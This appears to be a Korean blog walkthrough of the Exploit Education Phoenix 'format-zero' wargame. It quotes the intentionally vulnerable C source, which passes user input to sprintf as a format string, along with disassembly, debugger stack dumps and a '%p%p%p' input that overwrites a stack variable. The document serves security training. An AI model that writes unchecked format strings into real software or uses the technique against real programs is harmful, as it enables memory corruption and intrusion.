1. intro
2. code 및 분석
2.1. C code
/*
* phoenix/format-zero, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
* pass it around, 4294967295 bottles of beer on the wall!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
2.2. 분석
코드는 길지만 크게 고민할 것 없이 buffer 변수에 buffer 변수 크기만큼 값을 받아들인 뒤 sprintf 함수를 통해 buffer의 내용을 dest 변수에 복사한다.
이후 change 변수를 확인하여 0이 아니면 성공이다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
format string을 지정해주지 않아 sprintf 함수에서 format string bug가 발생하며, 의도치 않은 값을 dest 변수에 삽입할 수 있게 된다.
3.2. 공격 준비
어셈블러 코드 상 주요 부분은 아래와 같다.
0x00000000004006f2 <+85>: lea -0x40(%rbp),%rdx
0x00000000004006f6 <+89>: lea -0x30(%rbp),%rax
0x00000000004006fa <+93>: mov %rdx,%rsi
0x00000000004006fd <+96>: mov %rax,%rdi
0x0000000000400700 <+99>: mov $0x0,%eax
0x0000000000400705 <+104>: callq 0x400500 <sprintf@plt>
0x000000000040070a <+109>: mov -0x10(%rbp),%eax
0x000000000040070d <+112>: test %eax,%eax
0x000000000040070f <+114>: je 0x40071d <main+128>
즉, rbp - 0x40의 값을 rbp - 0x30 위치에 복사하며, rbp-0x10의 값이 0 인지 확인한다.
예를 들어 AAAAAAAAAA와 같은 값을 넣어보면 stack의 모양은 아래와 같다.
gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x4141414141414141 0x0000414141414141
0x7fffffffe650: 0x4141414141414141 0x0000414141414141
0x7fffffffe660: 0x0000000000000001 0x00007fffffffe6e8
만일 format string이 삽입되면 어떻게 될까.
%x%x%x의 값을 넣어보았다.
gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x000a782578257825 0x0000000000000000
0x7fffffffe650: 0x3034366566666666 0x6532356366663766
0x7fffffffe660: 0x3030336266663766 0x00007fffffff000a
위와 같이 0x7fffffffe640 위치에 %x%x%x의 문자열이 삽입되어있지만,
복사된 위치인 0x7fffffffe640 위치에는 알 수 없는 값들이 많이 들어가있다.
이번에는 %p%p%p를 넣어보자.
gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x000a702570257025 0x0000000000000000
0x7fffffffe650: 0x6666666666377830 0x7830303436656666
0x7fffffffe660: 0x6666376666666637 0x6637783065323563
0x7fffffffe670: 0x3362666637666666 0x00000000000a3030
이번에도 마찬가지로 삽입된 문자보다 더 많은 값들이 들어가있다.
지속적으로 동일하게 수행하면 rbp-0x10 영역까지 덮어씌울 수 있을 것이다.
문제에 대한 답은 찾았고...
그럼 이 값들은 어디서 가져오는 것일까.
찾아봤더니 아래와 같았다.
gef> x/10gx 0x7fffffffe580
0x7fffffffe580: 0x00007fffffffe640 0x00007ffff7ffc532
0x7fffffffe590: 0x0101010101010101 0x0a0a0a0a0a0a0a0a
0x7fffffffe5a0: 0x00007ffff7ffb200 0x00007fffffffe640
0x7fffffffe5b0: 0x00007fffffffe640 0x00007ffff7db6f2e
0x7fffffffe5c0: 0x0000000000000000 0x25007ffff7db6dde
gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x7025702570257025 0x00000000000a7025
0x7fffffffe650: 0x6666666666377830 0x7830303436656666
0x7fffffffe660: 0x6666376666666637 0x3031783032333563
0x7fffffffe670: 0x3031303130313031 0x6178303130313031
0x7fffffffe680: 0x6130613061306130 0x7830613061306130
0x7fffffffe690: 0x6666666666666637 0x0000000a38643665
...
gef> x/s 0x7fffffffe650
0x7fffffffe650: "0x7fffffffe6400x7ffff7ffc5320x1010101010101010xa0a0a0a0a0a0a0a0x7fffffffe6d8\n"
gef> x/10gx 0x7fffffffe580
0x7fffffffe580: 0x00007fffffffe640 0x00007ffff7ffc532
0x7fffffffe590: 0x0101010101010101 0x0a0a0a0a0a0a0a0a
0x7fffffffe5a0: 0x00007ffff7ffb200 0x00007fffffffe640
0x7fffffffe5b0: 0x00007fffffffe640 0x00007ffff7db6f2e
0x7fffffffe5c0: 0x0000000000000000 0x25007ffff7db6dde
그럼 왜 위와 같은 위치의 값을 가져오는 것일까.
프로그램의 흐름대로 따라가보니 sprintf 함수에 들어가자마자 rsp를 변경하기 때문이었다.
→ 0x7ffff7db9b9b <sprintf+0> sub $0xd8, %rsp
0x7ffff7db9ba2 <sprintf+7> test %al, %al
0x7ffff7db9ba4 <sprintf+9> mov %rdx, 0x30(%rsp)
0x7ffff7db9ba9 <sprintf+14> mov %rcx, 0x38(%rsp)
sprintf source code에 이런 부분이 있다는건데...
못찾겠으니 패스.
4. exploit
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education
%p
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%p%p
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%p%p%p
Well done, the 'changeme' variable has been changed!
'Wargame > Exploit Education' 카테고리의 다른 글
[Phoenix] Format two (0) | 2022.09.29 |
---|---|
[Phoenix] Format one (0) | 2022.09.29 |
[Phoenix] Stack six (0) | 2022.09.27 |
[Phoenix] Stack five (0) | 2022.09.27 |
[Phoenix] Stack four (0) | 2022.09.27 |